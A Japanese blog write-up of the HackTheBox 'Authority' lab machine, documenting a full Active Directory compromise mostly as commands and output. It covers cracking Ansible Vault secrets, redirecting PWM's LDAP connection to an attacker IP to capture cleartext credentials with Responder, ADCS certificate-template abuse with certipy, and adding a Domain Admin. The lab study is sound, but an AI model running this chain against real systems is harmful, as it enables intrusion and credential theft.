2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HackTheBox Authority WriteUp

Last updated at Posted at 2023-12-10

今回はHackTheBoxのMediumマシン「Authority」のWriteUpです!
名前がAuthorityで、OSがWindowsということから、証明書かKerberos認証の脆弱性を悪用しそうだなーという感じはありますが、どのようなマシンなのでしょうか。

スクリーンショット 2023-12-10 19.37.11.png

Mediumマシンなので当たり前ですが、ちゃんと難しそうなグラフですね。
攻略目指して頑張ります!!

HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Authority

侵入

それでは、ポートスキャンから実行していきましょう。

$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.222 -oN nmap.log

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2023-11-23 10:23:32Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-08-09T23:03:21
| Not valid after:  2024-08-09T23:13:21
| MD5:   d494:7710:6f6b:8100:e4e1:9cf2:aa40:dae1
|_SHA-1: dded:b994:b80c:83a9:db0b:e7d3:5853:ff8e:54c6:2d0b
|_ssl-date: 2023-11-23T10:24:53+00:00; +3h59m59s from scanner time.
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-11-23T10:24:54+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-08-09T23:03:21
| Not valid after:  2024-08-09T23:13:21
| MD5:   d494:7710:6f6b:8100:e4e1:9cf2:aa40:dae1
|_SHA-1: dded:b994:b80c:83a9:db0b:e7d3:5853:ff8e:54c6:2d0b
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8443/tcp  open  ssl/https-alt syn-ack ttl 127
|_ssl-date: TLS randomness does not represent time
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesnt have a title (text/html;charset=ISO-8859-1).
|_http-favicon: Unknown favicon MD5: F588322AAF157D82BB030AF1EFFD8CF9
| ssl-cert: Subject: commonName=172.16.2.118
| Issuer: commonName=172.16.2.118
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-11-21T10:18:58
| Not valid after:  2025-11-22T21:57:22
| MD5:   bc31:96b0:5044:264a:5f8f:a80f:086c:1a52
|_SHA-1: bab9:452b:edbb:8421:a567:28f3:f695:c9b8:0854:fcdd
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=ISO-8859-1
|     Content-Length: 82
|     Date: Thu, 23 Nov 2023 10:23:40 GMT
|     Connection: close
|     <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
|   GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=ISO-8859-1
|     Content-Length: 82
|     Date: Thu, 23 Nov 2023 10:23:38 GMT
|     Connection: close
|     <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Allow: GET, HEAD, POST, OPTIONS
|     Content-Length: 0
|     Date: Thu, 23 Nov 2023 10:23:38 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 1936
|     Date: Thu, 23 Nov 2023 10:23:46 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol [RTSP&#47;1.00x0d0x0a0x0d0x0a...]</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49688/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49689/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49691/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49692/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49700/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49702/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49710/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49729/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

さすがWindowsマシンです。かなりのポートがオープンしています。一つ一つ見ていくしかないですね。
smbがオープンしていたので、smbclientを実行し、共有が確認できるか試してみます。

$ smbclient -L //10.10.11.222/      
Password for [WORKGROUP\kali]:

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	Department Shares Disk      
	Development     Disk      
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 

いくつかのデフォルトの共有に加え、Department SharesDevelopmentを確認できました。
少し怪しいので、smbclientで接続を行い、共有内を探索してみます。

$ smbclient -N //10.10.11.222/Development 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Mar 17 22:20:38 2023
  ..                                  D        0  Fri Mar 17 22:20:38 2023
  Automation                          D        0  Fri Mar 17 22:20:40 2023

		5888511 blocks of size 4096. 1207262 blocks available

軽く見た感じ、かなりのファイルがありそうだったのでmgetを使用しすべてのファイルをダウンロードしてしまいましょう。

smb: \> prompt
smb: \> recurse
smb: \> mget *
getting file \Automation\Ansible\ADCS\.ansible-lint of size 259 as Automation/Ansible/ADCS/.ansible-lint (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\.yamllint of size 205 as Automation/Ansible/ADCS/.yamllint (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
<...>

ansible

ダウンロードが完了したので引き続き、探索を行います。
Automationディレクトリの中には、Ansibleディレクトリが存在していました。

$ ls -l Automation
total 4
drwxr-xr-x 6 kali kali 4096 Nov 23 15:34 Ansible

Ansibleとは、IT機器の管理を効率化・自動化するオープンソースの構成管理ツールです。
ツールの認証情報などが存在しているのではないかと思い、調べてみると興味深いファイルを発見しました。

$ grep -r "password"

Automation/Ansible/PWM/defaults/main.yml:pwm_admin_password: !vault |
Automation/Ansible/PWM/defaults/main.yml:ldap_admin_password: !vault |

見るからに、adminのパスワードを保持していそうなので、ファイルの中身を見てみます。

$ cat Automation/Ansible/PWM/defaults/main.yml
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32666534386435366537653136663731633138616264323230383566333966346662313161326239
          6134353663663462373265633832356663356239383039640a346431373431666433343434366139
          35653634376333666234613466396534343030656165396464323564373334616262613439343033
          6334326263326364380a653034313733326639323433626130343834663538326439636232306531
          3438

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31356338343963323063373435363261323563393235633365356134616261666433393263373736
          3335616263326464633832376261306131303337653964350a363663623132353136346631396662
          38656432323830393339336231373637303535613636646561653637386634613862316638353530
          3930356637306461350a316466663037303037653761323565343338653934646533663365363035
          6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          3437333035366235613437373733316635313530326639330a643034623530623439616136363563
          34646237336164356438383034623462323531316333623135383134656263663266653938333334
          3238343230333633350a646664396565633037333431626163306531336336326665316430613566
          3764                                                                        

ハッシュ?ようなパスワードが出力されました。取り扱い方がいまいちわからないので、私が毎回使っているExploit Notesで調べてみました。すると、まさにハッシュの解読方法が書かれたページが存在していました。
このファイルはAnsible Vaultで保護されているみたいです。
ハッシュを解読することで、暗号化されたテキストを復号することができます。

johnにより解読が可能なようです。まずはansible2johnを使用し、johnで解読可能な状態にします。

$ ansible2john pwm_admin_password.txt > hash.txt

解読可能な状態にできたので、実際に解読させていきます。

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 128/128 AVX 4x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&*         (pwm_admin_password.txt)     
1g 0:00:00:47 DONE (2023-11-29 09:59) 0.02099g/s 835.6p/s 835.6c/s 835.6C/s 001983..victor2
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

!@#$%^&*というパスワードを取得することができました!
これで、暗号化されたテキストを復号できます!
ansible-vaultを実行しましょう。

$ ansible-vault decrypt pwm_admin_password.txt
Vault password: 
Decryption successful
ansible-vaultのインストール方法
$ sudo apt install ansible

実行が出来たら、復号したファイルを見てみます。

$ cat pwm_admin_password.txt 
pWm_@dm!N_!23

パスワードが平文で出力されました!
pwm_admin_loginの暗号化テキストに対しても、同じ処理を行い、平文の内容を確認します。

$ cat pwm_admin_login.txt   
svc_pwm                  

svc_pwmというユーザ名が出力されました!
これで、ユーザ名とパスワードが揃いましたね。

あとは、このユーザ名とパスワードをどこで使うのかです。
一度この時点でwinrmを試しましたが、ログインすることはできませんでした。
とりあえずWebを見てみます。ログイン画面があるかもしれません。

image.png

80番にアクセスすると、IISのデフォルトページが表示されました。
奥になにかあるかもしれないと思い、ディレクトリ探索を行いましたが何もみつけることはできませんでした。

では次は、8443番にアクセスしてみましょう。nmapの出力でpwmを確認していたので、恐らくこっちが本命です。

image.png

ログイン画面が表示されました!先ほど解読したパスワードとユーザ名でログインできるか試してみましょう。

image.png

普通のログイン画面だとうまく行きませんでしたが、Configuration Managerの方からログインすると、ログインに成功しました!

LDAP Configuration

ダッシュボード内には、設定をインポートする場所があります。そのため、設定を変更することができるかもしれません。

image.png

流石に1から設定を作成することは不可能に近いので、一度Download Configurationから、設定をダウンロードし、変更したい箇所のみを変更します。

ざっと設定ファイルをみていくと、途中でハッシュを発見しました。

<property key="configPasswordHash">
  $2a$10$gC/eoR5DVUShlZV4huYlg.L2NtHHmwHIxF3Nfid7FfQLoh17Nbnua
</property>

解読できるかもしれないので、一応hashcatを実行しておきます。
ハッシュの少し下に、LDAPの暗号化?されたパスワードもありました。

<setting key="ldap.proxy.password" modifyTime="2022-08-11T01:46:23Z" profile="default" syntax="PASSWORD" syntaxVersion="0">
  <label>
    LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP Proxy Password
  </label>
  <value>
    ENC-PW:wRvP2UwZlIsn4nZdMns/2KyykyToF78jTS1zNRy67Y0s8PVSK9MqVPkc0iZrZUW8TYfsZfkLaNHbjGfbQldz5EW7BqPxGqzMz+bEfyPIvA8=
  </value>
</setting>

どちらも気になりますが、現時点では使えないようです。
他に気になる箇所がないか見てみます。すると、パスワードの少し下に、LDAPの接続先情報を発見しました。

<setting key="ldap.serverUrls" modifyTime="2022-08-11T01:46:23Z" profile="default" syntax="STRING_ARRAY" syntaxVersion="0">
  <label>
    LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP URLs
  </label>
  <value>
    ldaps://authority.authority.htb:636
  </value>
</setting>

通常のログイン失敗時にエラーとして出てきたURLです。エラーから指定したURLへリクエストが送信されていることが分かっています。
ここで私は、このURLをKali側のIPに変更することで認証情報が取得できるのではないかと思いました。実際に試してみましょう。
まずは、URLをKaliのIPへ変更します。

<setting key="ldap.serverUrls" modifyTime="2022-08-11T01:46:23Z" profile="default" syntax="STRING_ARRAY" syntaxVersion="0">
  <label>
    LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP URLs
  </label>
  <value>
    ldap://10.10.14.4:389
  </value>
</setting>

インポートする前に、responderを実行しておきましょう。

$ sudo responder -I tun0     
[sudo] password for kali: 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

これで準備は整ったので、実際に設定ファイルをインポートしていきます。

image.png

少し時間がかかりますが、インポートに成功するとアプリケーションが再起動されます。
再起動されて、ログイン画面へリダイレクトしたことを確認したら、responderの出力を見てみましょう。

[+] Listening for events...

[LDAP] Cleartext Client   : 10.10.11.222
[LDAP] Cleartext Username : CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
[LDAP] Cleartext Password : lDaP_1n_th3_cle4r!
[*] Skipping previously captured cleartext password for CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb

ユーザ名とパスワードが取得できました!

svc_ldapとしてのシェル

それでは、winrmでシェルを取得できるか試してみましょう。

$ evil-winrm -i 10.10.11.222 -u svc_ldap -p lDaP_1n_th3_cle4r!  
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami
htb\svc_ldap

シェルの取得に成功しました!

*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> dir


    Directory: C:\Users\svc_ldap\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---       11/29/2023  12:01 AM             34 user.txt

フラグも取得することが出来ました!

権限昇格

それではここから権限昇格を目指していきます。
まずは、ユーザの権限を確認してみましょう。

*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

見慣れた権限に加えて、SeMachineAccountPrivilege権限が付与されていることが分かります。
この権限は、ドメインコンピュータを新規に作成できる権限です。しかし、これはADのMS-DS-Machine-Account-Quotaが0に指定されていない場合のみ作成可能です。MS-DS-Machine-Account-Quotaはユーザがいくつのコンピュータオブジェクトを作成できるか示すもので、デフォルトは10になっています。
それではドメインコンピュータの作成がうまくいくかimpacket-addcomputerを実行し、試してみましょう。

$ impacket-addcomputer authority.htb/svc_ldap:"lDaP_1n_th3_cle4r\!" -dc-ip 10.10.11.222 -computer-name 'com_name' -computer-pass 'com_pass'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Successfully added machine account com_name$ with password com_pass.

作成できていそうです!
これでドメインコンピュータを使用した列挙が可能になりました。

ADCS

さらにADの列挙を進めていくと、最終的に証明書に脆弱性があることがわかりました。行った列挙が下記の通りです。
まずは、certipy-adを使用して証明書の情報を見てみます。

$ certipy-ad find -u com_name$ -p com_pass -dc-ip 10.10.11.222
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'AUTHORITY-CA' via CSRA
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'AUTHORITY-CA' via RRP
[*] Got CA configuration for 'AUTHORITY-CA'
[*] Saved BloodHound data to '20231130005030_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231130005030_Certipy.txt'
[*] Saved JSON output to '20231130005030_Certipy.json'
certipy-adのインストール方法
$ pip3 install certipy-ad

certipy-adを実行することで、証明書の情報がテキストファイルやJSONファイルに保存されます。どちらを見るかは好みですが、私はテキストファイルで確認していきます。
ざっと見ていくと、CorpVPNの管理者証明書に脆弱性があることがわかりました。

 1
    Template Name                       : CorpVPN
    Display Name                        : Corp VPN
    Certificate Authorities             : AUTHORITY-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : AutoEnrollmentCheckUserDsCertificate
                                          PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
                                          Document Signing
                                          IP security IKE intermediate
                                          IP security use
                                          KDC Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures 
    Required      : 0
    Validity Period                     : 20 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : AUTHORITY.HTB\Domain Computers
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins

まず、Enrollee Supplies SubjectがTrueになっています。さらに、Enrollment RightsDomain Computersが含まれています。
つまり、新規に作成したドメインコンピュータを使用し、管理者の証明書を取得することが可能であるということです。
では、早速管理者の証明書を取得していきましょう。
作成したドメインコンピュータの認証情報 + 取得したい証明書のテンプレート名 + CA + DNS + upn(administrator)を指定してリクエストを送信します。

$ certipy-ad req -username 'com_name$' -password 'com_pass' -ca 'AUTHORITY-CA' -target 10.10.11.222 -template 'CorpVPN' -upn 'administrator@authority.htb' -dns authority.authority.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with multiple identifications
    UPN: 'administrator@authority.htb'
    DNS Host Name: 'authority.authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_authority.pfx'

管理者の証明書を取得することに成功しました!
あとは取得した証明書を使用し、新規にユーザを作成 + Domain Adminsへ追加することで、権限昇格できそうです。
実際に、ユーザを追加しましょう。まずは証明書を使用してldap shellへ接続を行います。

$ certipy-ad auth -pfx administrator_authority.pfx -dc-ip 10.10.11.222 -ldap-shell                                                                                                       
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Connecting to 'ldaps://10.10.11.222:636'
[*] Authenticated to '10.10.11.222' as: u:HTB\Administrator
Type help for list of commands

# help

接続に成功しています!ここまでくればもうゴールはすぐそこです!
次はユーザを作成していきます。

# add_user hacker
Attempting to create user in: %s CN=Users,DC=authority,DC=htb
Adding new user with username: hacker and password: 4sWD1Dlo%ZrgY2M result: OK

今回はhackerというユーザを追加しました。ユーザを追加すると、初期パスワードも同時に出力されます。
では、hackerユーザをDomain Adminsへ追加していきます。

# add_user_to_group hacker 'Domain Admins'
Adding user: hacker to group Domain Admins result: OK

追加に成功していそうです。

administrator(hacker)としてのシェル

それでは、実際に認証情報を使用してシェルにアクセスし、フラグが取得できるか見てみましょう。

$ evil-winrm -i 10.10.11.222 -u hacker -p '4sWD1Dlo%ZrgY2M'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\hacker\Documents> whoami
htb\hacker

hackerとしてのシェルを取得できました!
グループを確認してみましょう。

*Evil-WinRM* PS C:\Users\hacker\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                          Attributes
========================================== ================ ============================================ ===============================================================
Everyone                                   Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access    Alias            S-1-5-32-574                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                     Alias            S-1-5-32-544                                 Mandatory group, Enabled by default, Enabled group, Group owner
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group
HTB\Domain Admins                          Group            S-1-5-21-622327497-3269355298-2248959698-512 Mandatory group, Enabled by default, Enabled group
HTB\Denied RODC Password Replication Group Alias            S-1-5-21-622327497-3269355298-2248959698-572 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288

Domain Adminsに所属していることが分かります。ということは。。。

*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---       11/29/2023  12:01 AM             34 root.txt

フラグを取得することができました~!!!

攻略を終えて

やはり今回のマシンは想定した通り、認証系の脆弱性を悪用するマシンでしたね。想定はしていましたが、結構難しかったです。
LDAP shellにより権限昇格を行えるのは知っていたのですが、実際に行ったことはなかったので苦労しました。攻略を終えて一番感じたことは、知っていると実行したことがあるでは大きな差があるなということです。今後は、新たな知識をインプットしたときはなるべく検証までしていきたいなと思います。
マシンの初動としては、NULL SESSIONにより公開された共有にアクセスし、Ansibleの認証を取得することから始まります。Windowsマシンにはよく見られる初動なので、ここはわかりやすかったかなと。
今後のマシン攻略も頑張りたいです。
最後まで閲覧していただき、ありがとうございました〜!
今後もWriteUpを投稿していくので、見ていただけると嬉しいです!

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?